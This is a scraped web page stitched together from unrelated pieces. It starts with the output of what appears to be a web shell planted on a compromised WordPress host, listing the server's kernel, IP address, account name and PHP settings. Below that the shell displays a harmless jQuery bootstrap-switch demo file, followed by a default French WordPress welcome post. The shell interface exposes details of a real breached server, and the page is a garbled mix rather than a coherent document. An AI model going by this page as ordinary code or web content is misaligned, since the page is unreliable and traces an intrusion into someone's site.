Uname: Linux webm016.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 54.36.31.145
Your Ip: 216.73.216.182
User: homesquasz (91404) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : main.js
var $ = window.jQuery

var $window = $(window)
var sectionTop = $('.top').outerHeight() + 20
var $createDestroy = $('#switch-create-destroy')

function capitalize (string) {
  return string.charAt(0).toUpperCase() + string.slice(1)
}

window.hljs.initHighlightingOnLoad()
$(function () {
  $('a[href*=\'#\']').on('click', function (event) {
    event.preventDefault()
    var $target = $($(this).attr('href').slice('#'))
    if ($target.length) {
      $window.scrollTop($target.offset().top - sectionTop)
    }
  })
  $('input[type="checkbox"], input[type="radio"]')
    .not('[data-switch-no-init]')
    .bootstrapSwitch()

  $('[data-switch-get]').on('click', function () {
    var type = $(this).data('switch-get')
    window.alert($('#switch-' + type).bootstrapSwitch(type))
  })
  $('[data-switch-set]').on('click', function () {
    var type
    type = $(this).data('switch-set')
    $('#switch-' + type).bootstrapSwitch(type, $(this).data('switch-value'))
  })
  $('[data-switch-toggle]').on('click', function () {
    var type = $(this).data('switch-toggle')
    $('#switch-' + type).bootstrapSwitch('toggle' + capitalize(type))
  })
  $('[data-switch-set-value]').on('input', function (event) {
    var type, value
    event.preventDefault()
    type = $(this).data('switch-set-value')
    value = $.trim($(this).val())
    if ($(this).data('value') === value) {
      return
    }
    $('#switch-' + type).bootstrapSwitch(type, value)
  })
  $('[data-switch-create-destroy]').on('click', function () {
    var isSwitch
    isSwitch = $createDestroy.data('bootstrap-switch')
    $createDestroy.bootstrapSwitch((isSwitch ? 'destroy' : null))
    $(this).button((isSwitch ? 'reset' : 'destroy'))
  })
  $('#confirm').bootstrapSwitch({
    size: 'large',
    onSwitchChange: function (event, state) {
      event.preventDefault()
      return console.log(state, event.isDefaultPrevented())
    }
  })
})
© 2026 GrazzMean
Bonjour tout le monde ! – APK Comptoir Hammami
Jannah Theme License is not validated, Go to the theme options page to validate the license, You need a single license for each domain name.
Non classé

Bonjour tout le monde !

Bienvenue sur WordPress. Ceci est votre premier article. Modifiez-le ou supprimez-le, puis commencez à écrire !

Un commentaire

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Bouton retour en haut de la page